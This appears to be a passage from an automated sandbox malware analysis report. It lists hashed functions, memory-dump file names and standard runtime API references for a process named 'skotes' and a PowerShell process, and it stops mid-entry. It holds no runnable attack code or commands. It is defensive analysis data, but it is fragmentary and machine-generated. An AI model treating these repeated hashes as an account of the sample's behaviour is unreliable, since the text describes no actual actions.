Opcode Fuzzy Hash: 494de70844b68c14a466765181d769d3acbd051bb35eed8c49f76b8490153a5a
Instruction Fuzzy Hash: 852260B3F515144BDB0CCE9DDCA27ECB2E3AFD8218B0E803DA40AE3345EA79D9159644

Function 00F07049 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.3281937953.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282216194.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283222943.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000001199000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287111652.00000000011DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288510814.0000000001380000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288674046.0000000001382000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4416b440f3d15a96d7eebd848c77e7f45dce52fe38c5b1a26405fdb2067d580c
Instruction ID: 6f30703b3eaf2d7e0e9f231076c33addd21d7dbd0bc71f5c7ce5a62355970856
Opcode Fuzzy Hash: 4416b440f3d15a96d7eebd848c77e7f45dce52fe38c5b1a26405fdb2067d580c
Instruction Fuzzy Hash: 14B14A32A14608DFD718DF28C486B657BA1FF45364F258698E899CF2E1C335E992EF40

Function 00EC4B30 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.3281937953.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282216194.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283222943.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000001199000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287111652.00000000011DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288510814.0000000001380000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288674046.0000000001382000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8bfe1aa3bc59ec0ee5e9202be5a357c5230e8fcf948ed3ed4745315434d3679
Instruction ID: bd115dc0a75a7cd5d778c8ca5016cb6ff994820a7f34b41bc44f8c06bcf2ce93
Opcode Fuzzy Hash: d8bfe1aa3bc59ec0ee5e9202be5a357c5230e8fcf948ed3ed4745315434d3679
Instruction Fuzzy Hash: 9881F4B0A002458FEB15CF68D9A0BEEFBF1FB19300F14166DD851A7392C3369946D7A0

Function 00F078BB Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.3281937953.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282216194.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283222943.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000001199000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287111652.00000000011DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288510814.0000000001380000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288674046.0000000001382000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a06e8ed76eab56f332d7e1cea5cf237f7cdee7ba76d249ea3eb35582773ad44b
Instruction ID: bccdaf11962e3e4acc86c8905605d01ab55198dbadea1ffb7212a0f477aa0e26
Opcode Fuzzy Hash: a06e8ed76eab56f332d7e1cea5cf237f7cdee7ba76d249ea3eb35582773ad44b
Instruction Fuzzy Hash: B021B673F2053947770CC47E8C5327DB6E1C78C541745423AE8A6EA2C1D96CD917E2E4

Function 00F0779B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.3281937953.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282216194.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283222943.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000001199000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287111652.00000000011DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288510814.0000000001380000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288674046.0000000001382000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3f4aae7420417adda9c4ce20e542c479d5bfe9af9783af3d9a9ea31e99859a9
Instruction ID: 002419502b2d69203ff1142997414a771d70fb67e13c321164089c3cb6c45495
Opcode Fuzzy Hash: c3f4aae7420417adda9c4ce20e542c479d5bfe9af9783af3d9a9ea31e99859a9
Instruction Fuzzy Hash: 39118A23F30C255B675C816D8C1727AA5D2DBD825071F537AD826E72C4E9A4EE13D290

Function 00F08860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.3281937953.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282216194.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283222943.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000001199000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287111652.00000000011DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288510814.0000000001380000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288674046.0000000001382000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: a19db8a53822169f36e2709784d7de9024deb4407b67f9aaef7c69f2c914049a
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 92112B77B4118287E614862DC8B46B7E7D5EBC53B17ACC37AD0C14B7D8DA22E947B600

Function 00EF652B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.3281937953.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282216194.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283222943.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000001199000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287111652.00000000011DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288510814.0000000001380000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288674046.0000000001382000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eaf4721f76d622c2119dc7160489010d232f457c0eedc6b79ffab3da74c3cefa
Instruction ID: 3c734c3310018f151cd85cc609546a7bf686d881bc731a9d56eee0b9b433cd60
Opcode Fuzzy Hash: eaf4721f76d622c2119dc7160489010d232f457c0eedc6b79ffab3da74c3cefa
Instruction Fuzzy Hash: 6DE08C3004110CAFCE26BF58C85996C3BA9EF5174DF506C10FA0D6A222CB25EE82CA80

Function 00EFA302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.3281937953.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282216194.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283222943.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000001199000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287111652.00000000011DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288510814.0000000001380000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288674046.0000000001382000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 4334abef0681498d942f25b535acda4e575e2c0742775b719eee95b8c4b99b46
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 66E08CB292222CEBCB14DB98C9049AEF3ECEB49B10B6910AAF605E3150C270DE00C7D1

Function 00EF4840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00EF4877
___except_validate_context_record.LIBVCRUNTIME ref: 00EF487F
_ValidateLocalCookies.LIBCMT ref: 00EF4908
__IsNonwritableInCurrentImage.LIBCMT ref: 00EF4933
_ValidateLocalCookies.LIBCMT ref: 00EF4988

Strings

S9, xrefs: 00EF4925, 00EF492E, 00EF493F
csm, xrefs: 00EF491D

Memory Dump Source

Source File: 00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.3281937953.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282216194.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283222943.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000001199000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287111652.00000000011DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288510814.0000000001380000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288674046.0000000001382000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9$csm
API String ID: 1170836740-3377438381
Opcode ID: c329e6e1eeae10983a6f38bde6e66ce252b52e32a6661da6a5124d7a17c62270
Instruction ID: afdfb9142f41847850ebe42d67b41f9b0cb1f14658987d9dc58fbab1463018af
Opcode Fuzzy Hash: c329e6e1eeae10983a6f38bde6e66ce252b52e32a6661da6a5124d7a17c62270
Instruction Fuzzy Hash: 61511971A0024D9BCF10DF68C8806BF7BF5AF85318F149055EA186B392C772DA15CB91

Function 00EC2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00EC2F5F
__Mtx_unlock.LIBCPMT ref: 00EC2FCC
__Cnd_broadcast.LIBCPMT ref: 00EC2FE3
__Mtx_unlock.LIBCPMT ref: 00EC30F5
__Mtx_unlock.LIBCPMT ref: 00EC319B

Memory Dump Source

Source File: 00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.3281937953.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282216194.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283222943.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000001199000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287111652.00000000011DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288510814.0000000001380000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288674046.0000000001382000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: e231a771058c1f9034bc8c06e94cdb888572d1755c45dc78f9b224050ef71a3c
Instruction ID: b533e5a1bfee4eef9659c9242b6ba3ad93401655092600a2141df9cdc29fedcd
Opcode Fuzzy Hash: e231a771058c1f9034bc8c06e94cdb888572d1755c45dc78f9b224050ef71a3c
Instruction Fuzzy Hash: 94A1E171A016069FDB20DF74CA45B9AB7E8FF14358F14A12EE815E7341EB32DA06CB91

Function 00EFCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00EFCC66

Memory Dump Source

Source File: 00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.3281937953.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282216194.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283222943.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000001199000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287111652.00000000011DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288510814.0000000001380000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288674046.0000000001382000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: f5530a69dab17ef92fac6b6929f31fdd68290eace9acb73ed14f7109ece3cf9f
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: FAB11232A0064D9FDB15CF28C9817BEBBE5EF45344F3491AADA45FB281D6358D02CB60

Function 00EDBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00EDBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00EDBBE4
_xtime_get.LIBCPMT ref: 00EDBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00EDBC13

Memory Dump Source

Source File: 00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.3281937953.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282216194.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283222943.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000001199000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287111652.00000000011DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288510814.0000000001380000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288674046.0000000001382000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 9865a95edb9a0c6b182fc173b3197976e11b322fd04150051f55cd4b2fab469a
Instruction ID: 3bb4dc9094f4af0c1ee2d3f40bc1e5a0e46e1a28f21fd4570aaa32a83811b47c
Opcode Fuzzy Hash: 9865a95edb9a0c6b182fc173b3197976e11b322fd04150051f55cd4b2fab469a
Instruction Fuzzy Hash: A1210A71A0011AAFDF00EFA4D981AFEB7B9EF48754F615026F901B7361DB709D429BA0

Analysis Process: powershell.exePID: 6768, Parent PID: 6480COMMON

Executed Functions

Function 049B6AA0 Relevance: 3.2, Strings: 2, Instructions: 669COMMON

Download Yara Rule

Strings

(Xbq, xrefs: 049B6C2F
LR]q, xrefs: 049B6B4D

Memory Dump Source

Source File: 00000007.00000002.3026997878.00000000049B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49b0000_powershell.jbxd

Similarity

API ID:
String ID: (Xbq$LR]q
API String ID: 0-655927778
Opcode ID: abe0a04be420af09dea689a5ede3ae4e05ec75a07f9ad4e85cbca4dbc96468c9
Instruction ID: 1f15b248d734f3ae5794a0c83f1c187543b8e55d86cf3856a8001fbb1a688305
Opcode Fuzzy Hash: abe0a04be420af09dea689a5ede3ae4e05ec75a07f9ad4e85cbca4dbc96468c9
Instruction Fuzzy Hash: 49528C30B00218CFDB24DB68C954BADB7B6FF85300F1585A9D8499B395DB74AD82CF92

Function 049B6A58 Relevance: 2.7, Strings: 2, Instructions: 165COMMON

Download Yara Rule

Strings

(Xbq, xrefs: 049B6C2F
LR]q, xrefs: 049B6B4D

Memory Dump Source

Source File: 00000007.00000002.3026997878.00000000049B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49b0000_powershell.jbxd

Similarity

API ID:
String ID: (Xbq$LR]q
API String ID: 0-655927778
Opcode ID: 08c5d12a97622715cd8c1a830c06db021ec767f5df1f41fd7865b515ab1366ca
Instruction ID: 4926371114f5eb6f07b78cb17d951def463322368645bc1c158898fb8a5ca082
Opcode Fuzzy Hash: 08c5d12a97622715cd8c1a830c06db021ec767f5df1f41fd7865b515ab1366ca
Instruction Fuzzy Hash: 2A51BE30B043188FDB25DF68C850B9DBBB2EF85304F1185A9D4859F3A1DB75AC46CB92

Function 049B2B00 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3026997878.00000000049B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c2d16b9f0723d0e54ed336614939e4ea48d93293513e5983191bd54e298ad1c
Instruction ID: 0650645d11080e3f98b7775b125066dc904770464d3bf5b33520c79e6bceacd6
Opcode Fuzzy Hash: 5c2d16b9f0723d0e54ed336614939e4ea48d93293513e5983191bd54e298ad1c
Instruction Fuzzy Hash: A4413B74A006059FCB06CF58C6989EEFBB1FF49310B1585A9D855AB365C732FC91CBA0

Function 0480D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2993649729.000000000480D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0480D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_480d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4abd91e302997591d038da801ab7be21ceb418a20d08e6d72b44d238419dcdda
Instruction ID: cb2b3b25d196e23767ecd0a70799128fbf7197c320bf8844267ea989607da169
Opcode Fuzzy Hash: 4abd91e302997591d038da801ab7be21ceb418a20d08e6d72b44d238419dcdda
Instruction Fuzzy Hash: A1017B315053049AE7609E59DC80B63BFDCEF41324F08CA29EC4C8B2C6C238A801C6B1

Function 0480D007 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2993649729.000000000480D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0480D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_480d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a05509b13f12d816f399092941886dfebfd54da259cb8291d2b9989b1830a15
Instruction ID: e8b523d231e07d126513465603b8d6f37effce7db501bc87adb79aea90df1e16
Opcode Fuzzy Hash: 7a05509b13f12d816f399092941886dfebfd54da259cb8291d2b9989b1830a15
Instruction Fuzzy Hash: 0A018C7240E3C09ED7528B258C94B52BFB4EF43224F08C5CBD8888F2A3C2699849C772

Function 049B8550 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3026997878.00000000049B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 190e2b6ed36e6b696d2527f72eda73877ad454fc47ce552ec5806ca1cf7f9da1
Instruction ID: ca41496583a0239a6dd32758ffed4935fe22ad7d9dab237ee8da923fc8c4da83
Opcode Fuzzy Hash: 190e2b6ed36e6b696d2527f72eda73877ad454fc47ce552ec5806ca1cf7f9da1
Instruction Fuzzy Hash: 6EF0A5B4D452499FCF44DFA985521AEBFF1EB09700B108ABEDC59E7B00E6750611CF91

Function 049B8560 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3026997878.00000000049B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9741db2f25431ed22e060b493e4579e734ea1b9a568c2aa3c2f44cc240bf425d
Instruction ID: 39bd9ea44d9e841a9d19abb482fed08713feea49b39f2c43b1716bc32af2f225
Opcode Fuzzy Hash: 9741db2f25431ed22e060b493e4579e734ea1b9a568c2aa3c2f44cc240bf425d
Instruction Fuzzy Hash: 22E026B4E0424E9F8F88EFB995421BEFBF5AB48200F10897E9819E7340E63456118FE5

Function 049B8520 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

